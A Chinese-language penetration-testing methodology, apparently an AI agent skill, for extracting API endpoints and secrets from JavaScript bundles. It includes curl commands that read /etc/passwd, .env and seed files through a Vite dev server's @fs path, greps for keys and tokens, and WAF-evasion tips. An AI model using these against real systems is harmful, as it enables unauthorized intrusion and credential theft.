JS API Extract

JavaScript API 端点提取方法论

关于本 Skill 的使用边界（读 Phase 之前必读）

本 Skill 是「从 JS bundle / SourceMap / 运行时全局里提取隐藏 API、密钥、内部域名、路由、前端鉴权逻辑」的采集与转发层，不是「前端安全总论」，也不是「接口测试本身」。

• 不要把「提取出的 endpoint 列表」当成交付物——本 Skill 输出的是测试队列，必须转 api-fuzz / idor-methodology / auth-bypass-methodology / file-upload-methodology 才能出洞。
• 不要把「JS 被混淆」「只看到 webpackJsonp」当成「无法分析」——混淆 ≠ 加密，字符串字面量总是明文；grep https:// / /api/ / wss?:// / apiKey 仍能拿到大部分价值。
• 不要把「.js.map 返回 200」直接等同「SourceMap 泄露确认」——SPA fallback / CDN 默认 200 / index.html 伪装甚多，必须看 Content-Type 与首行是否为 JSON 且含 version/sources/mappings 字段。
• 不要把本 Skill 当成「鉴权绕过」「提权」「身份伪造」的主路——仅前端 isAdmin/router guard 判断不能直接下「后端也不鉴权」结论，必须转 auth-bypass-methodology / privilege-escalation-web 多账号/多角色闭环。
• 不要把「拿到 apiKey="xxx"」当成「密钥有效」——需区分 公开可公开密钥（AMap/Mapbox/reCAPTCHA site key） vs 不可泄露密钥（AKIA/sk_live/SecretKey/JWT_SECRET）；后者才是 P0 。
• 看到  SPA / Vue / React / Angular / Vite / webpack / sourceMappingURL / @fs / chunk-vendors / runtime\~main / manifest.json / asset-manifest / sw.js / __NEXT_DATA__ / window.__INITIAL_STATE__ / localStorage / WebSocket ，都应把本 Skill 当作必查项跳 Phase 1。

🤖 Agent 工具映射

执行要点：JS 分析不是只列接口；必须把发现结果转成漏洞测试队列，并验证权限、可用性、敏感信息真实性或源码泄露影响。

前后端分离架构中，JS bundle 是 API 端点的最大信息源——比目录扫描高效 10 倍。

0. 立即执行摘要：JS 提取结果必须转成漏洞测试队列

看到 SPA、JS bundle、.map、sourceMappingURL、axios/fetch、baseURL/API_URL、前端路由、localStorage、WebSocket、GraphQL 时，必须进入本 skill。JS 分析不只是找路径，还要找：隐藏 API、前端权限判断、硬编码密钥、内部域名、旧接口、管理端路由、对象 ID 参数、上传/导出/支付接口。

优先顺序：

1. 收集所有 JS/chunk/runtime/source map，提取 API、完整 URL、WebSocket、GraphQL、路由。
2. 搜索 role/isAdmin/permission/hasPerm/authGuard，识别仅前端鉴权。
3. 搜索 apiKey/secret/token/password/AWS/AKIA/sk_live，识别硬编码敏感信息。
4. 对提取端点按风险分类，并路由到 api-fuzz、idor-methodology、auth-bypass-methodology、file-upload-methodology。
5. Source Map/Vite Dev Server 暴露时，优先审计源码、配置、.env 和 API 定义。

1. JS 发现 → 漏洞假设路由矩阵

Phase 1: JS 文件收集

1.1 从页面 HTML 收集

# 抓取页面中所有 JS 引用
curl -s "$TARGET" | grep -oE '(src|href)="[^"]*\.js[^"]*"' | sed 's/.*="\(.*\)"/\1/'

# 递归抓取（含 iframe/动态加载）
curl -s "$TARGET" | grep -oP '(?:src|href|url)\s*[=:]\s*["\x27]([^"\x27]*\.js[^"\x27]*)["\x27]' | sort -u

1.2 从 Source Map 恢复

# 检查 JS 文件末尾的 sourceMappingURL
curl -s "$TARGET/static/js/app.xxx.js" | tail -1
# 如果有 //# sourceMappingURL=app.xxx.js.map
curl -s "$TARGET/static/js/app.xxx.js.map" -o sourcemap.json

# Source Map 暴露完整源码——等于拿到了前端源码

1.2.1 🔴 Source Map 深度利用攻击链（实战高价值）

场景：登录页面渗透时发现 .js.map 可访问，从源码审计一路打到硬编码密码。 这是一条完整的纵深攻击链，每一步的发现都是下一步的入口。

攻击链：Source Map → Dev Server → 源码 → @fs → 硬编码密码

Source Map 可访问
  → 判断是否 Vite/Webpack 开发服务器在线
    → 可以直接访问 .ts/.vue 源码
      → Vite @fs 路径能读服务端文件系统
        → 遍历项目结构找后端代码
          → 找到 prisma/seed.ts、.env、config 等
            → 拿到硬编码密码/数据库凭据

Step 1: 确认 Source Map 泄露

# 方法 A: 检查 JS 文件末尾
curl -s "$TARGET/assets/index-xxx.js" | tail -5
# 如果看到 //# sourceMappingURL=index-xxx.js.map

# 方法 B: 直接请求 .map 文件
curl -s -o /dev/null -w "%{http_code}" "$TARGET/assets/index-xxx.js.map"
# 200 → Source Map 泄露确认

Step 2: 判断 Dev Server 类型

# 请求 .map 后分析 sources 字段判断构建工具
curl -s "$TARGET/assets/index-xxx.js.map" | grep -oP '"sources":\["[^"]*"' | head -5

# Vite 特征: sources 中包含 /src/xxx.vue, /src/xxx.ts
# Webpack 特征: sources 中包含 webpack:///src/xxx.js

# Vite Dev Server 探测（Vite 开发模式有独有的路径）
curl -s -o /dev/null -w "%{http_code}" "$TARGET/src/main.ts"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/src/App.vue"
# 200 且返回实际内容 → Vite Dev Server 在线！

Step 3: 源码审计——重点文件

# 优先审计这些文件（按安全价值排序）：
/src/utils/request.ts      # axios 配置，可能有硬编码 Token/BaseURL
/src/utils/auth.ts         # 认证逻辑，可能有绕过条件
/src/store/user.ts         # 用户状态管理，可能有角色判断逻辑
/src/router/index.ts       # 路由守卫，前端鉴权逻辑
/src/api/*.ts              # 所有 API 定义，完整接口清单
/src/config.ts             # 全局配置，可能有 API Key
/.env.development          # 开发环境变量
/.env.local                # 本地环境变量（常含真实密码）

Step 4: Vite @fs 路径遍历（高危！）

# Vite Dev Server 的 @fs 功能可以读取项目根目录之外的文件
# 先确认 @fs 是否可用
curl -s -o /dev/null -w "%{http_code}" "$TARGET/@fs/etc/passwd"

# 读取项目根目录常见敏感文件
curl -s "$TARGET/@fs$(pwd)/.env"
curl -s "$TARGET/@fs$(pwd)/package.json"          # 获取项目结构
curl -s "$TARGET/@fs$(pwd)/prisma/schema.prisma"  # 数据库模型
curl -s "$TARGET/@fs$(pwd)/prisma/seed.ts"        # 种子数据→硬编码密码！
curl -s "$TARGET/@fs$(pwd)/server/index.ts"       # 后端入口
curl -s "$TARGET/@fs$(pwd)/docker-compose.yml"    # 数据库连接串

Step 5: 审计目标——找什么

Agent 执行映射：

1. proxy_send_request("GET", "{target}/assets/index-xxx.js") → 检查末尾 sourceMappingURL
2. proxy_send_request("GET", "{target}/assets/index-xxx.js.map") → 下载 Source Map
3. 分析 sources 字段 → 确定框架和文件结构
4. proxy_send_request("GET", "{target}/src/main.ts") → 探测 Dev Server
5. 逐个请求关键源码文件 → 审计硬编码凭据
6. proxy_send_request("GET", "{target}/@fs/...") → Vite @fs 读取服务端文件

⚠️ 注意：@fs 路径遍历是 Vite 开发服务器的已知特性（非 CVE），但生产环境不应暴露 Dev Server。发现此问题本身就是一个高危漏洞。

1.3 从 Webpack 清单收集

# 常见 chunk 清单文件
/static/js/manifest.json
/asset-manifest.json
/webpack-manifest.json
/build/asset-manifest.json
/static/js/runtime~main.xxx.js  # runtime chunk 包含所有 chunk 映射

1.4 历史版本

# Wayback Machine 获取旧版 JS（可能包含已删除但未下线的 API）
curl -s "https://web.archive.org/cdx/search/cdx?url=$DOMAIN/*.js&output=text&fl=original" | sort -u

Phase 2: API 端点提取

2.1 路径模式提取

# 从 JS 内容中提取 API 路径（最核心的一步）
curl -s "$JS_URL" | grep -oP '["'"'"'](/(?:api|v[0-9]|rest|service|graphql|ws|internal|admin|auth|user|public)[^\s"'"'"']*?)["'"'"']' | sort -u

# 拼接路径提取（前端常见写法：baseURL + path）
curl -s "$JS_URL" | grep -oP '(?:baseURL|BASE_URL|API_URL|apiPrefix|apiBase)\s*[=:]\s*["'"'"']([^"'"'"']+)["'"'"']'

# 通用路径提取（含相对路径）
curl -s "$JS_URL" | grep -oP '["'"'"'](/[a-zA-Z][a-zA-Z0-9_/\-]{2,}(?:\?[^"'"'"']*)?)["'"'"']' | sort -u | grep -v '\.\(js\|css\|png\|jpg\|svg\|ico\|woff\|ttf\)'

2.2 完整 URL 提取

# 提取完整的 HTTP(S) URL
curl -s "$JS_URL" | grep -oP 'https?://[^\s"'"'"'<>]+' | sort -u

# 提取内部域名/子域名
curl -s "$JS_URL" | grep -oP 'https?://[a-zA-Z0-9._-]+\.DOMAIN\.com[^\s"'"'"']*' | sort -u

2.3 关键信息提取

# API Key / Secret / Token
curl -s "$JS_URL" | grep -oiP '(?:api[_-]?key|secret|token|auth|password|credential)\s*[=:]\s*["'"'"']([^"'"'"']{8,})["'"'"']'

# WebSocket 端点
curl -s "$JS_URL" | grep -oP 'wss?://[^\s"'"'"']+' | sort -u

# 内部 IP/域名
curl -s "$JS_URL" | grep -oP '(?:10|172\.(?:1[6-9]|2\d|3[01])|192\.168)\.\d+\.\d+' | sort -u

Phase 3: 端点分类与优先级

提取完后按安全价值分类：

Phase 4: 批量验证

# 对提取的端点逐一验证存活
for path in $(cat extracted_paths.txt); do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$path" --connect-timeout 5 -m 10)
    echo "$code $path"
done | grep -v "^404 " | sort

关键看点：

• 200 → 直接可访问，检查响应内容
• 401/403 → 存在但需认证，尝试绕过
• 405 → 端点存在但方法不对，尝试 POST/PUT/DELETE
• 500 → 后端报错，可能有注入点
• 301/302 → 跟踪重定向目标

💡 决策树警告：上表 5 种状态码映射是最常见情况，不是穷尽列举。 特别注意以下「状态码谎报」场景，遇到不能仅凭状态码下结论：

• 404 但接口存在：后端统一返 404 隐藏接口存在性（「隐隐、错错」式），需看 Content-Length / 响应体是否为统一错误页、响应时间是否与真 404 不同。
• 200 但是 SPA fallback：前端所有未命中路由都返 index.html，会伪装成「接口存在」——必须比对 Content-Type 是 application/json 还是 text/html。
• 200 但 body 是「错误负载」：{"code":-1,"msg":"未授权"} / {"success":false}，HTTP 级别 200 但业务上是 401——需看 body 中 code 字段而非只看 HTTP 状态码。
• 403 但是 WAF/CDN 拦截（Cloudflare/阿里云盾/腾讯云 WAF）不是业务鉴权：应看响应 Header 中是否有 cf-ray/x-waf-*、body 是否为拦截页；换 UA、换 IP、加合法 Referer/Cookie 后可能变 200。
• 301/302 重定向到登录页：实际上是「未认证」的全局拦截，不代表接口不存在；加上会话后重请才能看真实响应。
• 405 Method Not Allowed 是强信号：表示路径真的在，只是你用错了动词——应依次试 GET/POST/PUT/PATCH/DELETE/OPTIONS 逐个跳变。
• 同一 endpoint 在「未登录 / 低权 / 高权 / 另一租户」下响应不同，才是“存在 + 有鉴权”的金字塔判断，不要只用一个身份下结论。
• 「JSONP/老接口 + ?callback=」：状态码总是 200 但响应是 xxx({...}) 包裹——这是 jsonp-data-leak 领域，不要当普通 JSON 接口误报。
• WebSocket / SSE 接口（wss://、/sse、/events）不走 HTTP 状态码逻辑，HTTP HEAD 可能返 400/426 但接口是活的；必须用 WebSocket 客户端验证。

看到任一异常，返回 Phase 2 重新抽路径特征或跳 api-fuzz 作变体验证，不要仅凭状态码判「存/不存」。

输出要求

提取结束后输出：

1. JS 文件清单 — 分析了哪些 JS
2. 发现的 API 端点列表 — 按优先级排序
3. 暴露的敏感信息 — API Key、内部域名、Token
4. 推荐的下一步测试 — 哪些端点应该优先 fuzz

输出格式

[JS/API提取]
JS文件/来源：
框架/构建器：Vue/React/Angular/Vite/Webpack/未知
SourceMap：存在/不存在/未测
发现端点：METHOD/URL/路径/GraphQL/WebSocket
敏感信息：APIKey/Token/内部域名/配置/无
前端权限线索：role/isAdmin/permission/router guard/无
候选漏洞：未授权/IDOR/前端鉴权/密钥泄露/源码泄露/上传/导出/其他
建议 skill：
优先级：P0/P1/P2/P3

⛔ 「最低必测自检」— 标 not_vuln/skipped 前必答

跳过的"非法"理由

• ❌ "JS 已混淆无法分析" → 混淆≠加密，仍可 grep 字符串字面量；用 proxy_send_request 下载 JS 后 grep https://、/api/

⚠️ Skill 边界与逃逸

本 Skill 负责「从前端产物里挖信息 → 过滤出有价值的 endpoint/密钥/路由/隐藏资源 → 转交主 Skill 闭环」，以下场景必须从本 Skill 主动逃逸到联动 Skill：

一句话：本 Skill 的产物是「能打的隐藏面」而不是「漏洞本身」。任何提取到的 endpoint 都只是输入「另一个 Skill」的原材料，不是结论；任何提取到的 token/key 都要进入对应主 Skill 验证有效性后才能定 P0。「列了 200 个 endpoint」本身不是交付物，「路由了10 个到 api-fuzz / 3 个到 idor / 1 个到 oauth」才是。